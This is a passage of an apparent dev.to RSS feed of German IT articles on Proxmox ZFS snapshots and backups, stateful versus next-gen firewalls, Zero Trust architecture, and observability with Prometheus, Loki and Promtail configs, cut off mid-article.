&lt;td&gt;Skript verwenden, das ältere Snapshots nach X Tagen löscht (z.B. &lt;code&gt;zfs destroy -r pve/vm-101@auto-$(date -d "7 days ago" +%Y%m%d)&lt;/code&gt; )&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ARC‑Max zu hoch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Man denkt, mehr Cache = besser&lt;/td&gt;
&lt;td&gt;Kernel‑OOM bei starkem RAM‑Verbrauch anderer Prozesse&lt;/td&gt;
&lt;td&gt;ARC‑Grenzen an den Gesamtspeicher anpassen (≈ 50‑70 % des RAMs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kompression nachträglich aktivieren&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Vergessen beim Pool‑Erstellung&lt;/td&gt;
&lt;td&gt;Alte Daten bleiben unkomprimiert&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;zfs set compression=lz4 pve&lt;/code&gt; und anschließend &lt;code&gt;zfs get -r compression&lt;/code&gt; prüfen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ZFS‑Export/Import ohne Shutdown&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Beim Upgrade fehlende VM‑Shutdown‑Sequenz&lt;/td&gt;
&lt;td&gt;Datenkorruption&lt;/td&gt;
&lt;td&gt;VMs immer stoppen, bevor &lt;code&gt;zpool export&lt;/code&gt;/&lt;code&gt;import&lt;/code&gt; durchgeführt wird&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Persönliche Einschätzung&lt;/strong&gt;: Der häufigste Stolperstein ist das &lt;strong&gt;Fehlen einer automatisierten Snapshot‑Rotation&lt;/strong&gt;. Viele Administratoren glauben, ZFS säubere das automatisch – nicht so. Ein einfacher Cron‑Job, der alte Snapshots löscht, rettet Stunden an Fehlersuche.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Fazit – Der nächste Schritt für Ihre Proxmox‑ZFS‑Umgebung
&lt;/h2&gt;

&lt;p&gt;Sie haben jetzt das Fundament: &lt;strong&gt;Datasets&lt;/strong&gt; für granularen Speicher, &lt;strong&gt;Snapshots&lt;/strong&gt; für blitzschnelle Wiederherstellung und ein &lt;strong&gt;ARC‑Tuning&lt;/strong&gt;, das Ihre Performance auf das Maximum pusht. Der nächste logische Schritt ist die &lt;strong&gt;Integration in ein zentrales Backup‑System&lt;/strong&gt; – zum Beispiel ein periodisches &lt;code&gt;zfs send&lt;/code&gt; zu einem remote‑Proxmox‑Backup‑Server oder zu einem Object‑Store wie S3. Hier ein Minimalbeispiel für ein inkrementelles Backup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Erstes Voll‑Backup (einmalig)&lt;/span&gt;
zfs send &lt;span class="nt"&gt;-R&lt;/span&gt; pve/vm-101@daily-2024-07-29 | ssh backup@10.0.0.5 &lt;span class="s2"&gt;"zfs receive -F backup/pve/vm-101"&lt;/span&gt;
&lt;span class="c"&gt;# Inkrementelles Backup (täglich)&lt;/span&gt;
zfs send &lt;span class="nt"&gt;-I&lt;/span&gt; pve/vm-101@daily-2024-07-28 pve/vm-101@daily-2024-07-29 | &lt;span class="se"&gt;\&lt;/span&gt;
    ssh backup@10.0.0.5 &lt;span class="s2"&gt;"zfs receive -F backup/pve/vm-101"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Damit schließen Sie den Kreis: Ihr primäres Proxmox‑Cluster nutzt ZFS für &lt;strong&gt;Performance&lt;/strong&gt; und &lt;strong&gt;Sicherheit&lt;/strong&gt;, während ein sekundäres System Ihre Snapshots dauerhaft archiviert. Starten Sie noch heute mit dem ersten Dataset‑ und Snapshot‑Setup, passen Sie das ARC‑Tuning an Ihre RAM‑Größe an und automatisieren Sie die Rotation – und beobachten Sie, wie Ihr Cluster plötzlich resilienter und schneller wird.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Nächster Schritt&lt;/strong&gt;: Erstellen Sie ein Test‑Dataset (&lt;code&gt;pve/demo&lt;/code&gt;) mit einer kleinen VM, legen Sie einen Snapshot an, und messen Sie die ARC‑Hit‑Rate vor und nach dem Tuning. Dokumentieren Sie die Ergebnisse in einem Confluence‑Eintrag – das ist Ihr Proof‑Of‑Concept für das gesamte Team.&lt;/p&gt;

</description>
      <category>zfs</category>
      <category>proxmox</category>
      <category>snapshots</category>
      <category>arctuning</category>
    </item>
    <item>
      <title>Firewall-Tuning: Stateful vs. Next-Gen - Was ist besser?</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Wed, 29 Jul 2026 06:00:04 +0000</pubDate>
      <link>https://dev.to/uhltak/firewall-tuning-stateful-vs-next-gen-was-ist-besser-30gb</link>
      <guid>https://dev.to/uhltak/firewall-tuning-stateful-vs-next-gen-was-ist-besser-30gb</guid>
      <description>&lt;h1&gt;
  
  
  Einleitung
&lt;/h1&gt;

&lt;p&gt;Die Sicherheit von Netzwerken ist ein entscheidender Aspekt in der heutigen digitalen Welt. Eine wichtige Rolle spielt dabei die Firewall, die den Netzwerkverkehr überwacht und regelt. Es gibt jedoch verschiedene Arten von Firewalls, insbesondere Stateful Firewalls und Next-Gen Firewalls. In diesem Artikel werden wir beleuchten, was diese beiden Typen von Firewalls sind, wie sie funktionieren und wann welcher Typ geeignet ist.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist eine Stateful Firewall?
&lt;/h2&gt;

&lt;p&gt;Eine Stateful Firewall, auch bekannt als Dynamische Firewall, überwacht den gesamten Netzwerkverkehr und nicht nur die Pakete, die den Firewall-Regeln entsprechen. Sie verfolgt den Zustand der Verbindungen, um sicherzustellen, dass die Verbindungen autorisiert sind und keine unerwünschten Pakete durchlassen.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für eine Stateful Firewall ist die Cisco ASA. Mit der ASA kann man Regeln definieren, um den Netzwerkverkehr zu steuern. Zum Beispiel kann man eine Regel erstellen, die allen Benutzern im internen Netzwerk ermöglicht, auf das Internet zuzugreifen, aber nur unter bestimmten Bedingungen, wie z.B. nur während der Arbeitszeit.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Stateful Firewalls sind eine gute Wahl, wenn man eine einfache, aber effektive Firewall-Lösung benötigt. Sie sind jedoch nicht in der Lage, komplexere Angriffe zu erkennen und zu blockieren.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist eine Next-Gen Firewall?
&lt;/h2&gt;

&lt;p&gt;Eine Next-Gen Firewall ist eine erweiterte Version der traditionellen Firewall. Sie bietet zusätzliche Funktionen wie Intrusion-Prävention, Anwendungserkennung und -steuerung, sowie Malware-Schutz. Next-Gen Firewalls können auch den Netzwerkverkehr auf Anwendungsebene überwachen und steuern.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für eine Next-Gen Firewall ist die Palo Alto Networks Next-Generation Firewall. Mit dieser Lösung kann man Regeln definieren, um den Netzwerkverkehr auf Anwendungsebene zu steuern. Zum Beispiel kann man eine Regel erstellen, um den Zugriff auf bestimmte Anwendungen, wie z.B. Dropbox, zu beschränken.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Next-Gen Firewalls sind eine gute Wahl, wenn man eine umfassende Sicherheitslösung benötigt, die in der Lage ist, komplexe Angriffe zu erkennen und zu blockieren. Sie bieten jedoch auch mehr Komplexität und erfordern mehr Konfiguration und Wartung.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vergleich von Stateful und Next-Gen Firewalls
&lt;/h2&gt;

&lt;p&gt;Im Vergleich zu Stateful Firewalls bieten Next-Gen Firewalls mehr Funktionen und eine bessere Sicherheit. Stateful Firewalls sind jedoch einfacher zu konfigurieren und zu warten.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für den Vergleich von Stateful und Next-Gen Firewalls ist die Untersuchung der Funktionen und der Preise. Stateful Firewalls sind in der Regel günstiger als Next-Gen Firewalls, aber sie bieten auch weniger Funktionen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Der Vergleich von Stateful und Next-Gen Firewalls zeigt, dass Next-Gen Firewalls die bessere Wahl sind, wenn man eine umfassende Sicherheitslösung benötigt. Stateful Firewalls sind jedoch immer noch eine gute Wahl, wenn man eine einfache, aber effektive Firewall-Lösung benötigt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler / Fallstricke
&lt;/h2&gt;

&lt;p&gt;Ein häufiger Fehler bei der Konfiguration von Firewalls ist die falsche Definition von Regeln. Dies kann dazu führen, dass unerwünschte Pakete durchgelassen werden oder dass autorisierte Pakete blockiert werden.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für einen häufigen Fehler ist die Konfiguration von Regeln, die zu spezifisch sind. Zum Beispiel kann man eine Regel erstellen, die nur bestimmte IP-Adressen zulässt, aber nicht berücksichtigt, dass die IP-Adressen sich ändern können.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Es ist wichtig, die Regeln sorgfältig zu definieren und regelmäßig zu überprüfen, um sicherzustellen, dass die Firewall korrekt funktioniert.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fazit
&lt;/h2&gt;

&lt;p&gt;Die Wahl zwischen Stateful und Next-Gen Firewalls hängt von den spezifischen Anforderungen und Bedürfnissen ab. Stateful Firewalls sind eine gute Wahl, wenn man eine einfache, aber effektive Firewall-Lösung benötigt. Next-Gen Firewalls sind eine gute Wahl, wenn man eine umfassende Sicherheitslösung benötigt, die in der Lage ist, komplexe Angriffe zu erkennen und zu blockieren.&lt;/p&gt;

&lt;p&gt;Dein nächster Schritt sollte sein, die Anforderungen und Bedürfnisse deines Netzwerks zu überprüfen und dann zu entscheiden, welche Art von Firewall am besten geeignet ist. Es ist auch wichtig, die Regeln sorgfältig zu definieren und regelmäßig zu überprüfen, um sicherzustellen, dass die Firewall korrekt funktioniert.&lt;/p&gt;

</description>
      <category>firewall</category>
      <category>statefulfirewall</category>
      <category>nextgenfirewall</category>
      <category>netzwerksicherheit</category>
    </item>
    <item>
      <title>Zero Trust Architektur: Der Paradigmenwechsel in der IT-Sicherheit</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Tue, 28 Jul 2026 06:00:06 +0000</pubDate>
      <link>https://dev.to/uhltak/zero-trust-architektur-der-paradigmenwechsel-in-der-it-sicherheit-2c8d</link>
      <guid>https://dev.to/uhltak/zero-trust-architektur-der-paradigmenwechsel-in-der-it-sicherheit-2c8d</guid>
      <description>&lt;h1&gt;
  
  
  Zero Trust Architektur: Der Paradigmenwechsel in der IT-Sicherheit
&lt;/h1&gt;

&lt;p&gt;Die traditionelle Sicherheitsstrategie, die auf Vertrauen und Zugriffsrechten basiert, ist nicht mehr ausreichend, um die heutigen Cyber-Bedrohungen abzuwehren. Die Zero Trust Architektur ist ein neuer Ansatz, der auf dem Prinzip 'never trust, always verify' basiert. Doch was bedeutet dies genau und wie kann man es in der Praxis umsetzen?&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist Zero Trust Architektur?
&lt;/h2&gt;

&lt;p&gt;Zero Trust Architektur ist ein Sicherheitsmodell, das darauf basiert, dass keine Entität innerhalb oder außerhalb des Netzwerks vertrauenswürdig ist. Jeder Zugriff auf Ressourcen und Daten wird überprüft und autorisiert, bevor er gewährt wird. Dieser Ansatz ist notwendig, da traditionelle Sicherheitsmaßnahmen wie Firewalls und VPNs nicht mehr ausreichend sind, um die heutigen komplexen Bedrohungen abzuwehren.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für die Umsetzung von Zero Trust Architektur ist die Verwendung von Lösungen wie Cisco ISE (Identity Services Engine) oder Microsoft Azure Active Directory (Azure AD). Diese Lösungen ermöglichen es, die Identität von Benutzern und Geräten zu überprüfen und zu autorisieren, bevor sie auf Ressourcen und Daten zugreifen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Zero Trust Architektur ist ein notwendiger Schritt in Richtung einer sichereren IT-Infrastruktur. Durch die Implementierung von Zero Trust-Lösungen kann man die Sicherheit erhöhen und die Risiken minimieren.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wie funktioniert Zero Trust Architektur?
&lt;/h2&gt;

&lt;p&gt;Zero Trust Architektur basiert auf mehreren Kernprinzipien:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Microsegmentation&lt;/strong&gt;: Die Netzwerksegmentierung in kleine, isolierte Segmente, um den Zugriff auf Ressourcen und Daten zu beschränken.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Least Privilege&lt;/strong&gt;: Die Zuweisung von minimalen Rechten und Zugriffsrechten, um den Schaden im Falle eines Angriffs zu minimieren.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Continous Monitoring&lt;/strong&gt;: Die kontinuierliche Überwachung von Aktivitäten und Zugriffen, um Anomalien und Bedrohungen zu erkennen.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ein Beispiel für die Umsetzung von Microsegmentation ist die Verwendung von Lösungen wie VMware NSX oder Cisco ACI. Diese Lösungen ermöglichen es, das Netzwerk in kleine, isolierte Segmente zu unterteilen und den Zugriff auf Ressourcen und Daten zu beschränken.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Umsetzung von Zero Trust Architektur erfordert eine umfassende Strategie und die Implementierung von Lösungen, die diese Prinzipien unterstützen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vorteile von Zero Trust Architektur
&lt;/h2&gt;

&lt;p&gt;Die Vorteile von Zero Trust Architektur sind vielfältig:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Erhöhte Sicherheit&lt;/strong&gt;: Durch die Implementierung von Zero Trust-Lösungen kann man die Sicherheit erhöhen und die Risiken minimieren.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Verbesserte Compliance&lt;/strong&gt;: Zero Trust Architektur kann dazu beitragen, die Compliance-Anforderungen zu erfüllen, indem sie den Zugriff auf Ressourcen und Daten überwacht und kontrolliert.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Kostenreduzierung&lt;/strong&gt;: Durch die Minimierung von Schäden und die Reduzierung von Recovery-Zeiten kann Zero Trust Architektur auch zu einer Kostenreduzierung führen.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ein Beispiel für die Vorteile von Zero Trust Architektur ist die Reduzierung von Schäden durch Ransomware-Angriffe. Durch die Implementierung von Zero Trust-Lösungen kann man den Zugriff auf Ressourcen und Daten beschränken und die Ausbreitung von Ransomware verhindern.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Zero Trust Architektur ist ein wichtiger Schritt in Richtung einer sichereren und effizienteren IT-Infrastruktur.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler / Fallstricke
&lt;/h2&gt;

&lt;p&gt;Bei der Implementierung von Zero Trust Architektur gibt es einige häufige Fehler und Fallstricke, die man vermeiden sollte:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Unzureichende Strategie&lt;/strong&gt;: Die Implementierung von Zero Trust Architektur erfordert eine umfassende Strategie, die alle Aspekte der IT-Infrastruktur berücksichtigt.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Fehlende Übereinstimmung&lt;/strong&gt;: Die Implementierung von Zero Trust-Lösungen erfordert die Übereinstimmung aller Beteiligten, einschließlich der IT-Abteilung, der Benutzer und der Geschäftsleitung.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Unzureichende Ressourcen&lt;/strong&gt;: Die Implementierung von Zero Trust Architektur erfordert ausreichende Ressourcen, einschließlich Personal, Hardware und Software.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Meine Einschätzung: Die Implementierung von Zero Trust Architektur erfordert eine sorgfältige Planung und Umsetzung, um die oben genannten Fehler und Fallstricke zu vermeiden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fazit
&lt;/h2&gt;

&lt;p&gt;Zero Trust Architektur ist ein notwendiger Schritt in Richtung einer sichereren IT-Infrastruktur. Durch die Implementierung von Zero Trust-Lösungen kann man die Sicherheit erhöhen, die Compliance verbessern und die Kosten reduzieren. Es ist jedoch wichtig, eine umfassende Strategie zu entwickeln und die Implementierung sorgfältig zu planen und umzusetzen.&lt;/p&gt;

&lt;p&gt;Dein nächster Schritt: Beginne mit der Entwicklung einer Zero Trust-Strategie, die auf die spezifischen Bedürfnisse deiner Organisation zugeschnitten ist. Identifiziere die Risiken und Schwachstellen in deiner IT-Infrastruktur und entwickle einen Plan, um diese zu adressieren. Informiere dich über die verschiedenen Zero Trust-Lösungen, die auf dem Markt verfügbar sind, und wähle diejenigen aus, die am besten zu deinen Bedürfnissen passen.&lt;/p&gt;

</description>
      <category>zerotrustarchitektur</category>
      <category>itsicherheit</category>
      <category>netzwerksicherheit</category>
      <category>paradigmenwechsel</category>
    </item>
    <item>
      <title>Monitoring &amp; Observability: Warum Logs nicht reichen, Tracing hilft</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Mon, 27 Jul 2026 18:00:04 +0000</pubDate>
      <link>https://dev.to/uhltak/monitoring-observability-warum-logs-nicht-reichen-tracing-hilft-4e03</link>
      <guid>https://dev.to/uhltak/monitoring-observability-warum-logs-nicht-reichen-tracing-hilft-4e03</guid>
      <description>&lt;h1&gt;
  
  
  Warum Sie gerade heute Ihren Log‑Ansatz über Bord werfen sollten
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;„Ich schaue einfach in die Log‑Datei, da finden sich alle Probleme.“&lt;/em&gt; – Dieser Satz klingt fast schon wie ein Mantra im IT‑Support, schlägt aber bei genauer Betrachtung ein drückendes Loch in die Service‑Verfügbarkeit. Der Grund? Logs sind ein eindimensionales, nachträgliches Tagebuch. Sie erzählen, was passiert ist, aber nicht &lt;strong&gt;warum&lt;/strong&gt; und &lt;strong&gt;wie&lt;/strong&gt; ein einzelner Request durch das System fließt. In einer Welt, in der Microservices, Container‑Orchestrierung und serverlose Funktionen das Rückgrat moderner Anwendungen bilden, reicht das nicht mehr aus. Heute zeige ich Ihnen, warum ein Observability‑Ansatz – also die Kombination aus &lt;strong&gt;Metrics&lt;/strong&gt;, &lt;strong&gt;Logs&lt;/strong&gt; und &lt;strong&gt;Tracing&lt;/strong&gt; – unverzichtbar ist, und wie Sie mit konkreten Tools und Konfigurationen sofort loslegen können.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Grundlagen: Monitoring vs. Observability
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Monitoring&lt;/em&gt; bezeichnet das Sammeln und Auswerten von Metriken (CPU‑Auslastung, Latenz, Fehlerraten). Es beantwortet Fragen wie &lt;em&gt;„Ist das System gesund?&lt;/em&gt;“. &lt;em&gt;Observability&lt;/em&gt; geht einen Schritt weiter: Es fragt &lt;em&gt;„Was genau macht das System gerade?&lt;/em&gt;“. Das Kernprinzip ist, dass ein System dann beobachtbar ist, wenn man anhand von drei Säulen – &lt;strong&gt;Metrics&lt;/strong&gt;, &lt;strong&gt;Logs&lt;/strong&gt; und &lt;strong&gt;Traces&lt;/strong&gt; – alles notwendige Wissen gewinnen kann, um ein Problem zu verstehen und zu beheben.&lt;/p&gt;

&lt;h3&gt;
  
  
  Konkretes Beispiel
&lt;/h3&gt;

&lt;p&gt;Nehmen wir einen einfachen HTTP‑Endpoint, der in einem Kubernetes‑Pod läuft. Ohne Tracing sehen Sie in Grafana vielleicht eine steigende Fehlerrate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# prometheus.yml (Auszug)&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;job_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;kubernetes-pods'&lt;/span&gt;
  &lt;span class="na"&gt;kubernetes_sd_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;role&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pod&lt;/span&gt;
  &lt;span class="na"&gt;relabel_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source_labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;__meta_kubernetes_pod_label_app&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;regex&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my‑service&lt;/span&gt;
      &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;keep&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Durch das Dashboard erkennen Sie einen Anstieg von &lt;code&gt;http_requests_total{status="500"}&lt;/code&gt;. Das ist ein Hinweis, aber nichts, das Ihnen sagt, &lt;strong&gt;welcher Service‑Aufruf&lt;/strong&gt; die Fehler erzeugt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Ich habe in über 500 Incident‑Reports gesehen, wie schnell Teams im Log‑Dschungel ersticken. Sobald ein Tracing‑Layer hinzugefügt wird, verschwindet das Rätselraten. Man erkennt sofort, welcher Service‑Pfad die Anomalie erzeugt – und das in Sekunden statt Minuten.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Beispiel 1 – Loki + Promtail + Grafana: Logs strukturiert erfassen
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Loki ist ein log‑zentriertes, skalierbares System von Grafana Labs, das Logs &lt;strong&gt;nicht&lt;/strong&gt; indexiert, sondern über Labels sucht – ähnlich wie Prometheus Metriken. Promtail ist ein Agent, der Log‑Dateien sammelt und an Loki sendet. Der große Vorteil: Logs bleiben im Dateisystem, aber sind zugleich in Grafana quer über Labels auffindbar.&lt;/p&gt;

&lt;h3&gt;
  
  
  Konkrete Konfiguration
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Promtail‑Config (promtail.yaml)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;server&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;http_listen_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;9080&lt;/span&gt;
  &lt;span class="na"&gt;grpc_listen_port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;

&lt;span class="na"&gt;positions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;filename&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/tmp/positions.yaml&lt;/span&gt;

&lt;span class="na"&gt;clients&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://loki:3100/loki/api/v1/push&lt;/span&gt;

&lt;span class="na"&gt;scrape_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;job_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;system&lt;/span&gt;
    &lt;span class="na"&gt;static_configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;targets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;localhost&lt;/span&gt;
        &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;job&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;varlogs&lt;/span&gt;
          &lt;span class="na"&gt;__path__&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/var/log/**/*.log&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Loki‑Compose (docker‑compose.yml)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.7'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;loki&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/loki:2.9.1&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3100:3100"&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;-config.file=/etc/loki/local-config.yaml&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./loki-config.yaml:/etc/loki/local-config.yaml&lt;/span&gt;
  &lt;span class="na"&gt;promtail&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/promtail:2.9.1&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/var/log:/var/log&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/etc/promtail.yaml:/etc/promtail.yaml&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;-config.file=/etc/promtail.yaml&lt;/span&gt;
  &lt;span class="na"&gt;grafana&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/grafana:10.2.0&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3000:3000"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;GF_SECURITY_ADMIN_PASSWORD=admin&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;loki&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nachdem die Container laufen (&lt;code&gt;docker compose up -d&lt;/code&gt;), können Sie in Grafana ein &lt;strong&gt;Explore&lt;/strong&gt;‑Panel öffnen, das Labels wie &lt;code&gt;job="varlogs"&lt;/code&gt; nutzt, um schnell relevante Logs zu filtern.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Die Kombination aus Loki und Promtail ist für mich das &lt;strong&gt;Mikro‑Logging‑Paradigma&lt;/strong&gt;. Im Vergleich zu traditionellen ELK‑Stacks spart man enorm Ressourcen, weil keine vollständige Indexierung nötig ist. Der Trade‑off: Man verliert die Möglichkeit, Volltext‑Suche über alle Logs hinweg zu betreiben – aber das ist meistens ein kalkulierbarer Preis, wenn man stattdessen gezielte Labels nutzt.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Beispiel 2 – Jaeger Tracing in einem Go‑Microservice
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

